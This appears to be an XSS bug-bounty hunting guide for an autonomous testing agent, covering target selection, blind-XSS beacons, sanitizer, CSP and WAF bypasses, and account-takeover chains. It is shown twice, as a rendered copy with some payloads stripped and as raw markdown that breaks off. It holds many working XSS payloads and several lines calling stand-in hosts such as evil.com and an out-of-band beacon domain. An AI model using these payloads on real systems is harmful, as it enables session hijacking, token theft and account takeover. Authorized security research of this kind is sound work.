Autonomous Testing Priority
Verify reflection before claiming XSS — encoding is everything.
Your payload must appear in the response body with angle brackets UNESCAPED. <script> is XSS. <script> is safe encoding — not vulnerable.
Use a UNIQUE NUMERIC CANARY in your proof payload — e.g. <script>alert(91234)</script> or "><img src=x>. Pick a distinctive 4+ digit number, not alert(1). Practice pages are full of example payloads like alert(1)/alert('XSS') in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your alert(<canary>) shows up in the response with raw, unescaped angle brackets.
Try these contexts in order:
Inline script injection (works when HTML context allows new tags):
<script>alert(CANARY)</script>
Use whatever canary string your proof contract specifies. Confirmed when <script>alert(CANARY) appears literally (not HTML-encoded) in the response.
Attribute event injection (when < is filtered but attributes are injectable):
"
"
"
URL/href context:
javascript:alert(CANARY)
Distinguishing success from failure:
- Vulnerable: response contains
<script>alert( unescaped — browser would execute it
- Filtered/safe: response contains
<script> or <script> — properly encoded
- Blocked: response is an error, or the reflected value is absent entirely
For stored XSS: inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.
Crown Jewel Targets
XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:
- Admin panels and authenticated dashboards (e.g.,
*/admin, */settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
- Payment/financial flows (
paypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
- Stored XSS in collaborative features (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
- SSO/signin pages (e.g.,
paypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform
- Shared SaaS tenant surfaces (
*.myshopify.com, api.collabs.*) — XSS in one tenant's context can bleed across tenant boundaries
- Help/documentation sites (
help.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perception
- SVG/file upload endpoints — frequently bypasses CSP and sanitization simultaneously
Asset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites
OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)
For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).
What is NOT confirmation
- ASP.NET request validator rejected your
< and returned a different status code → not XSS, that's WAF noise.
- Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
- The form action attribute contains your payload string as
%22onclick%3D… → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the %22 stays as literal %22 in the DOM.
- Your
<script> tag appears in the response as <script> → not XSS, that's escaping.
What IS confirmation
- A request to your unique Collaborator subdomain (e.g.,
bxss-err-<random>.<collab>.oastify.com) arrives in the OOB listener after your payload was stored / reflected / queued.
- For stored XSS: the request arrives hours or days later when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
- The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.
Where to plant blind-XSS beacons
Any field whose value might be viewed in an admin UI / log viewer / email / report later:
- Error messages (
?ErrorMessage=<svg>)
- Auth-flow source params (
?Source=, ?ReturnUrl=)
- Login form username field (admin may view audit logs of failed logins)
- User-Agent header (some SOC consoles render UA as HTML)
- Referer header (some analytics dashboards render Referer as HTML)
- Email addresses on registration / contact forms
- File-upload filenames
Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.
Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.
Attack Surface Signals
URL Patterns:
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
Response Headers (weak defense signals):
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
JS Patterns in source that signal DOM XSS:
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location
Tech Stack Signals:
- Rails applications using
html_safe, raw, translate, Action Text, or ActionView sanitize helpers
- GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
- Applications allowing SVG uploads or rendering
- Sites using
style tag in allowlists
- Kroki/Mermaid/PlantUML diagram rendering endpoints
- Cache layers in front of authenticated pages (cache poisoning vector)
Step-by-Step Hunting Methodology
Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.
Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.
Probe sanitizer behavior — Send harmless canary strings first: aaa"bbb'ccc<ddd to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.
Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, evil, attacker, payload, javascript, script. Good markers: cpmark987abc, x4hd2k9pq, __ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word javascript is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.
Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos: <math>+<style>, <svg>+<style>, <iframe srcdoc>, <style> with expressions.
Hunt SVG and file upload vectors — Upload SVG files containing <script> tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.
Test markdown/documentation renderers — In wiki, README, or doc fields, try: [text](javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoc link:javascript: syntax.
Check redirect parameters — Test ?redirect=javascript:alert(1) and ?return_url=//evil.com — look for single-click XSS via improper redirect sanitization.
Probe UTM and analytics parameters — utm_source, utm_medium, utm_campaign are often reflected without sanitization on marketing pages.
Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains, unsafe-inline in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.
Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.
Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.
Validate in target browser — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 / Oct 2019 and no shipping browser has one — never attribute a failed PoC to an "XSS auditor".)
Payload & Detection Patterns
Basic context probing:
aaa"bbb'ccc<ddd>eee`fff
Reflected XSS — URL parameter baseline:
?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg
?redirect=javascript:alert(document.domain)
Attribute context escapes:
"
'
`onmouseover=alert(1)
SVG-based (CSP bypass):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Sanitizer bypass — math+style combo:
<math><style><img src=x
Sanitizer bypass — svg+style combo:
<svg><style><img src=x
Markdown/RDoc javascript: link:
[Click me](javascript:alert(document.domain))
Kroki/diagram injection:
```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml
**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x
location.href = 'https://target.com/page#<script>alert(1)</script>'
Grep patterns for source review:
# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"
# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"
# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
Curl to detect reflection:
curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
Cache poisoning test:
# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"
Common Root Causes
Trusting html_safe in Rails — Developers mark strings as safe after partial sanitization, or chain .html_safe on user-supplied data without full sanitization.
Allowlist sanitizers with dangerous tag combinations — Allowing style alongside math or svg creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.
Third-party rendering pipelines — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram/rendering engines aren't sandboxed and output isn't re-sanitized.
Reflecting URL parameters without encoding — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing/help pages that are treated as lower-security.
SVG treated as non-script content — Developers apply CSP to HTML responses but forget that image/svg+xml responses can execute JavaScript and often aren't covered by the same CSP header.
Incomplete sanitizer patches — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).
javascript: scheme not blocked in href/src — Link renderers (RDoc, Markdown) fail to block javascript: URLs in href attributes, treating them as valid external links.
Cache layers storing authenticated user input — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.
File upload without Content-Type enforcement — Accepting SVG or HTML files and serving them without forcing Content-Disposition: attachment or overriding Content-Type.
Translation helper XSS — Rails translate/t() helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.
Bypass Techniques
CSP Bypass:
- SVG uploads bypass script-src because
image/svg+xml responses may not inherit the page's CSP
- Find JSONP endpoints on whitelisted domains (
*.googleapis.com, *.cloudflare.com)
- Use
<base> tag injection to redirect script sources
- Exploit
unsafe-eval or unsafe-inline in style-src to execute CSS-based attacks
<link rel=preload> or <meta http-equiv> gadgets to bypass strict policies
Sanitizer Bypasses:
- mXSS (Mutation XSS): Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g.,
<math><style><img>)
- Tag combination attacks:
<svg> + <style> or <math> + <style> create parsing ambiguity
- Attribute quoting variations:
onmouseover=alert(1) without quotes, backtick delimiters
- HTML entity encoding:
javascript: or javascript: in href values
- Protocol variations:
javascript:, vbscript:, data:text/html
Filter Evasion:
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Null bytes (legacy/weak — null bytes rarely survive modern HTTP/HTML parsing; low success, don't rely on it) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
<!-- Event handler alternatives -->
<body
<input autofocus
<details open
WAF Bypass:
// Obfuscated payloads
<svg
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x
<audio src=x
Redirect-based XSS bypass:
?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
AngularJS client-side template injection (CSTI) & sandbox escapes:
- Detect: the page uses AngularJS (look for
ng-app/ng-controller attributes, angular.js/angular.min.js, or {{ }} interpolation). Probe a reflected param with {{7*7}} — if it renders 49 (not the literal text), the value is evaluated as an Angular expression. Always drive the browser tool so the expression actually evaluates.
- Execute JS by escaping the sandbox (technique depends on the AngularJS version):
- Applies to legacy AngularJS (<1.6) only; modern frameworks (Angular 2+, React, Vue) are not affected.
Gate 0 Validation
Before writing the report, answer all three:
What can the attacker DO right now?
The attacker must demonstrate a concrete action: execute JavaScript in victim's browser session on the target domain, steal session cookies/tokens, perform actions as the victim, or exfiltrate sensitive data. "Alert box appears" is not sufficient — state what the alert box represents in terms of access (e.g., "I can read document.cookie which contains the auth token used for all admin API calls").
What does the victim LOSE?
The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what that user's browser is exposed to.
Can it be reproduced in 10 minutes from scratch?
You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome/Firefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.
Real Impact Examples
Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page
An attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.
Scenario 2 — Stored XSS via Diagram Rendering in Wiki
A developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.
Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass
A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the style tag allowlist with specific tag nesting (svg>style), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.
Chains & Compositions (Senior Hunting)
XSS as a standalone finding gets paid at Low-Medium on mature programs. Real payouts cluster around chains that convert JS execution into account takeover, mass-victim impact, CSP bypass, or token exfil. The composition skill is "what does my XSS unlock once it executes?" — and the answer is always something beyond alert(1).
Chain 1 — Reflected XSS + Cache Poisoning → Persistent Stored XSS at CDN Scale (Kettle-class)
- A. Identify a reflected XSS where the vulnerable input lands in the response body and the response is cacheable (
Cache-Control: public, max-age=…).
- B. Identify an unkeyed input that influences the cached body — typically
X-Forwarded-Host, X-Original-URL, an unkeyed cookie, or a parameter stripped from the cache key but reflected in the body.
- C. Send a single request with the XSS payload via the unkeyed input. Cache stores the poisoned response. Every subsequent CDN-edge visitor receives it for the full TTL.
- Impact: Self-inflicted reflected XSS becomes persistent stored XSS affecting every visitor in the affected geo until cache expires. No per-victim interaction required.
- Real shape: Glassdoor reflected→stored XSS via cache poisoning, H1 #1424094 (2021-2022); Kettle "Practical Web Cache Poisoning" research. Cross-refs
hunt-cache-poison Disclosed Report Citation #4.
Chain 2 — Self-XSS + CSRF Trigger → Effective Stored XSS → ATO
- A. Confirm self-XSS in a profile field (
bio, display_name, signature) — payload only executes when the same logged-in user views their own profile.
- B. Find a CSRF-vulnerable endpoint that mutates that field (no anti-CSRF token, or
text/plain enctype bypass).
- C. Craft attacker-hosted page that submits the CSRF form setting
bio to the XSS payload. Victim visits attacker page → CSRF fires → victim's profile updated → victim's next visit to their own profile executes attacker JS.
- Impact: Self-XSS that "doesn't pay" becomes ATO. The payload runs in the victim's authenticated session — extract cookie, force email change via XHR, password reset → full ATO.
- Real shape: Multiple H1 disclosures 2019-2023 across social platforms. Cross-refs
hunt-csrf step 7 (form-based CSRF on profile mutation).
Chain 3 — DOM XSS on /signin or /oauth Callback → Fragment Token Capture → ATO
- A. Find DOM XSS on a
/signin, /oauth/callback, or /auth/return page — typically document.location.hash parsed into the DOM without escaping.
- B. OAuth-implicit-flow callbacks frequently land tokens in the URL fragment (
#access_token=...). The fragment is NOT sent to the server; only the browser sees it.
- C. XSS payload reads
document.location.hash, base64-encodes it, exfils via Image() to attacker domain. Attacker now holds the OAuth access token.
- Impact: Cross-platform ATO. The access token typically grants API scope to Facebook/Google/Microsoft user data; some implementations use the token directly as the session.
- Real shape: Detectify "Dirty Dancing" multi-vendor OAuth token leakage (F. Rosén, 2022); Zoom OAuth chained ATO $15,000 (H1 / Harel Security, 2024). Cross-refs
hunt-oauth Disclosed Report Citation #19 and #20.
Chain 4 — SVG Upload XSS + CSP Bypass → JS Execution on Trusted Origin → Cookie/Token Theft
- A. Identify a file-upload feature that accepts
image/svg+xml. SVG files are XML and can contain <script> tags — many sanitisers process PNG/JPG but pass SVG through unmodified.
- B. CSP frequently applies to HTML responses but NOT to
image/svg+xml responses. The SVG executes JS in the context of whichever origin serves it.
- C. If the SVG is served same-origin (common when uploads go to
target.com/uploads/<sha>.svg), the executing JS has full session-cookie access and can call any same-origin API.
- Impact: Stored XSS on the trusted origin without going through any reflected/stored content vector — bypasses CSP entirely; pulls session cookies, calls password-change endpoints, ATO.
- Real shape: Multiple disclosed cases across SaaS uploaders; cross-refs
hunt-file-upload SVG section and hunt-xxe Disclosed Report Citation #3 and #4 (Zivver/Lab45 SVG-upload chains).
Chain 5 — postMessage XSS + Origin Check Bypass → Cross-Origin Token Exfil → ATO
- A. Identify a
window.addEventListener('message', handler) where handler does NOT check event.origin (or checks it with a indexOf/endsWith that fails on target.com.attacker.com).
- B. Attacker page opens
target.com in a popup or iframe. Once loaded, sends a postMessage payload that the handler evals, processes as XSS, or uses to extract document.cookie.
- C. Handler executes in
target.com context; response is postMessage'd back to attacker page via event.source.postMessage(stolenData, '*').
- Impact: Cross-origin JS execution and exfil with no CSP violation —
postMessage is a legitimate cross-origin channel; CSP doesn't gate it. Token theft / session hijack.
- Real shape: Detectify "Dirty Dancing" multi-vendor postMessage gadgets (2022); Zoom OAuth + postMessage chain (2024). Cross-refs
hunt-oauth Disclosed Report Citation #19, #20.
Chain 6 — Markdown/Wiki XSS + Privileged Viewer → Cross-Privilege Stored XSS
- A. Stored XSS in a collaborative content field (wiki page, issue comment, customer ticket, support reply) — payload survives Markdown rendering due to insufficient allowlist on
<style>, <math>, <svg>, or attribute filters.
- B. The collaborative content is viewed by a privileged user (admin, support agent with elevated permissions, project maintainer).
- C. Privileged viewer's session executes the payload in their authenticated context — XHR to admin-only endpoints, role-change of attacker, secret exfil from admin-only panels.
- Impact: Privilege escalation from low-priv user to admin via stored XSS — attacker promotes themselves on the privileged user's behalf.
- Real shape: GitLab/Jira/Confluence markdown-XSS-to-admin-priv-esc class; common payout pattern is High (privilege escalation severity bump over standalone stored XSS).
Operator-level pattern
When you confirm XSS at A, immediately ask: what state-changing endpoint or token store does this JS now have access to? Where does the payload run, and who sees it? The chain payout is 5-20x the standalone XSS payout. Discipline gate before submission: do not file XSS as "Critical" without demonstrating the terminal impact (ATO / token exfil / privilege escalation); file as Medium otherwise.
Cross-references:
hunt-cache-poison — Chain 1
hunt-csrf — Chain 2
hunt-oauth — Chains 3, 5
hunt-file-upload / hunt-xxe — Chain 4
hunt-ato — terminal impact for Chains 2, 3, 4, 5
Related Skills & Chains
hunt-cache-poison — Reflected XSS becomes stored-equivalent at CDN scale when the vulnerable parameter is unkeyed. Chain primitive: X-Forwarded-Host: attacker.com poisons a cached response whose <script src=...> now points at attacker.com → every CDN-edge visitor executes attacker JS without any per-victim interaction.
hunt-csrf — XSS on origin auto-defeats SameSite=Lax and same-origin checks for state-changing endpoints. Chain primitive: stored XSS in profile bio → fetch(/settings/email, {method:'POST', body:'email=attacker@evil'}) executes with victim's cookies and origin → silent email takeover → password reset → full ATO without the victim ever leaving the page.
hunt-http-smuggling — Smuggling delivers an XSS payload into the response queue of the NEXT victim's request, even on endpoints that sanitize their own inputs. Chain primitive: smuggle a request whose response (carrying attacker HTML) is served as the body of the next legitimate user's GET / → reflected XSS at every visitor without any URL parameter visible in their address bar.
security-arsenal — Reach for the XSS payload bank (SVG+style, math+style mXSS, CSP-bypass JSONP gadgets, HTML5 event handlers WAFs miss) before hand-crafting payloads; also the always-rejected list to confirm self-XSS / alert-only PoCs are not submittable.
triage-validation — Run the Pre-Severity Gate before claiming Critical on stored XSS that only fires in the attacker's own session, or before claiming reflected XSS where the canary appears HTML-encoded (<) in the response body — those are the two most common downgrade-to-N/A traps.
1---2name: hunt-xss3description: Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports. Use when hunting xss on any target. For markup injection that reflects raw HTML but does NOT execute JavaScript (no `<script>`/event-handler execution), see hunt-html-injection — escalate here once script execution is possible.4---5
6## Autonomous Testing Priority
7
8**Verify reflection before claiming XSS — encoding is everything.**
9
10Your payload must appear in the response body with angle brackets UNESCAPED. `<script>` is XSS. `<script>` is safe encoding — not vulnerable.
11
12**Use a UNIQUE NUMERIC CANARY in your proof payload** — e.g. `<script>alert(91234)</script>` or `"><img src=x onerror=alert(91234)>`. Pick a distinctive 4+ digit number, not `alert(1)`. Practice pages are full of *example* payloads like `alert(1)`/`alert('XSS')` in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your `alert(<canary>)` shows up in the response with raw, unescaped angle brackets.
13
14**Try these contexts in order:**
15
161. **Inline script injection** (works when HTML context allows new tags):
17 ```
18 <script>alert(CANARY)</script>
19 ```
20 Use whatever canary string your proof contract specifies. Confirmed when `<script>alert(CANARY)` appears literally (not HTML-encoded) in the response.
21
222. **Attribute event injection** (when `<` is filtered but attributes are injectable):
23 ```
24 " onmouseover="alert(CANARY)
25 " onerror="alert(CANARY)
26 " onload="alert(CANARY)
27 ```
28
293. **URL/href context:**
30 ```
31 javascript:alert(CANARY)
32 ```
33
34**Distinguishing success from failure:**
35- **Vulnerable:** response contains `<script>alert(` unescaped — browser would execute it
36- **Filtered/safe:** response contains `<script>` or `<script>` — properly encoded
37- **Blocked:** response is an error, or the reflected value is absent entirely
38
39**For stored XSS:** inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.
40
41---
42
43## Crown Jewel Targets
44
45XSS is high-value when it combines **privileged context + persistent delivery + scope escalation**. The highest payouts come from:
46
47- **Admin panels and authenticated dashboards** (e.g., `*/admin`, `*/settings`) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
48- **Payment/financial flows** (`paypal.com`, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
49- **Stored XSS in collaborative features** (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
50- **SSO/signin pages** (e.g., `paypal.com/signin`) — XSS here is critical because it can steal auth tokens across the entire platform
51- **Shared SaaS tenant surfaces** (`*.myshopify.com`, `api.collabs.*`) — XSS in one tenant's context can bleed across tenant boundaries
52- **Help/documentation sites** (`help.shopify.com`) — lower severity individually, but often have looser sanitization and trusted user perception
53- **SVG/file upload endpoints** — frequently bypasses CSP and sanitization simultaneously
54
55**Asset types that pay most:** Main product domains > Admin subdomains > API endpoints > Marketing/help sites
56
57---
58
59## OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)
60
61For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).
62
63### What is NOT confirmation
64
65- ASP.NET request validator rejected your `<` and returned a different status code → not XSS, that's WAF noise.
66- Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
67- The form action attribute contains your payload string as `%22onclick%3D…` → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the `%22` stays as literal `%22` in the DOM.
68- Your `<script>` tag appears in the response as `<script>` → not XSS, that's escaping.
69
70### What IS confirmation
71
72- A request to your unique Collaborator subdomain (e.g., `bxss-err-<random>.<collab>.oastify.com`) arrives in the OOB listener after your payload was stored / reflected / queued.
73- For stored XSS: the request arrives **hours or days later** when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
74- The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.
75
76### Where to plant blind-XSS beacons
77
78Any field whose value might be viewed in an admin UI / log viewer / email / report later:
79- Error messages (`?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>`)
80- Auth-flow source params (`?Source=`, `?ReturnUrl=`)
81- Login form username field (admin may view audit logs of failed logins)
82- User-Agent header (some SOC consoles render UA as HTML)
83- Referer header (some analytics dashboards render Referer as HTML)
84- Email addresses on registration / contact forms
85- File-upload filenames
86
87**Always sub-tag the Collaborator subdomain by sink** so callbacks identify which field fired.
88
89**Lesson from a authorized engagement:** 10 blind-XSS Collaborator beacons planted across `ErrorMessage`, `Source`, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks `<` in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.
90
91---
92
93## Attack Surface Signals
94
95**URL Patterns:**
96```
97/admin*
98/settings*
99/wiki*
100/reports*
101?utm_source=
102?redirect=
103?q=
104?search=
105?callback=
106?return_url=
107/render*
108/preview*
109/documentation*
110```
111
112**Response Headers (weak defense signals):**
113```
114Content-Type: text/html (without nosniff)
115Content-Security-Policy: (absent or using unsafe-inline)
116Content-Type: image/svg+xml (CSP often not applied)
117X-XSS-Protection: 0
118```
119
120**JS Patterns in source that signal DOM XSS:**
121```javascript
122document.write(
123innerHTML =
124location.hash
125location.search
126location.href
127document.referrer
128eval(
129setTimeout(string,
130setInterval(string,
131$.html(
132$(location
133```
134
135**Tech Stack Signals:**
136- Rails applications using `html_safe`, `raw`, `translate`, Action Text, or ActionView sanitize helpers
137- GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
138- Applications allowing SVG uploads or rendering
139- Sites using `style` tag in allowlists
140- Kroki/Mermaid/PlantUML diagram rendering endpoints
141- Cache layers in front of authenticated pages (cache poisoning vector)
142
143---
144
145## Step-by-Step Hunting Methodology
146
1471. **Map all reflection points** — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.
148
1492. **Classify by type** — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.
150
1513. **Probe sanitizer behavior** — Send harmless canary strings first: `aaa"bbb'ccc<ddd` to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.
152
153 **Marker Discipline:** When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: `test`, `marker`, `evil`, `attacker`, `payload`, `javascript`, `script`. Good markers: `cpmark987abc`, `x4hd2k9pq`, `__ZZ_MARKER_<random>_ZZ__`. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word `javascript` is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.
154
1554. **Test allowlisted tag combinations** — If a sanitizer is in use, probe for dangerous tag combos: `<math>+<style>`, `<svg>+<style>`, `<iframe srcdoc>`, `<style>` with expressions.
156
1575. **Hunt SVG and file upload vectors** — Upload SVG files containing `<script>` tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.
158
1596. **Test markdown/documentation renderers** — In wiki, README, or doc fields, try: `[text](javascript:alert(1))`, inline HTML injection, Kroki/Mermaid payloads, RDoc `link:javascript:` syntax.
160
1617. **Check redirect parameters** — Test `?redirect=javascript:alert(1)` and `?return_url=//evil.com` — look for single-click XSS via improper redirect sanitization.
162
1638. **Probe UTM and analytics parameters** — `utm_source`, `utm_medium`, `utm_campaign` are often reflected without sanitization on marketing pages.
164
1659. **Test CSP bypass opportunities** — If CSP is present, look for: JSONP endpoints on allowed domains, `unsafe-inline` in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.
166
16710. **Attempt stored XSS in profile/metadata fields** — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.
168
16911. **Check cache poisoning** — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.
170
17112. **Validate in target browser** — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 / Oct 2019 and no shipping browser has one — never attribute a failed PoC to an "XSS auditor".)
172
173---
174
175## Payload & Detection Patterns
176
177**Basic context probing:**
178```html
179aaa"bbb'ccc<ddd>eee`fff
180```
181
182**Reflected XSS — URL parameter baseline:**
183```
184?q=<script>alert(document.domain)</script>
185?q="><script>alert(1)</script>
186?utm_source=<svg onload=alert(1)>
187?redirect=javascript:alert(document.domain)
188```
189
190**Attribute context escapes:**
191```html
192" onmouseover="alert(1)
193' onmouseover='alert(1)
194`onmouseover=alert(1)
195```
196
197**SVG-based (CSP bypass):**
198```html
199<svg xmlns="http://www.w3.org/2000/svg">
200 <script>alert(document.domain)</script>
201</svg>
202```
203
204**Sanitizer bypass — math+style combo:**
205```html
206<math><style><img src=x onerror=alert(1)></style></math>
207```
208
209**Sanitizer bypass — svg+style combo:**
210```html
211<svg><style><img src=x onerror=alert(1)></style></svg>
212```
213
214**Markdown/RDoc javascript: link:**
215```markdown
216[Click me](javascript:alert(document.domain))
217```
218
219**Kroki/diagram injection:**
220```
221```kroki
222plantuml
223@startuml
224:<script>alert(1)</script>;
225@enduml
226```
227```
228
229**DOM XSS via hash/search:**
230```javascript
231// In browser console to test sink
232location.hash = '#"><img src=x onerror=alert(1)>'
233location.href = 'https://target.com/page#<script>alert(1)</script>'
234```
235
236**Grep patterns for source review:**
237```bash
238# Find dangerous sinks in JS
239grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"
240
241# Find unsafe Rails helpers
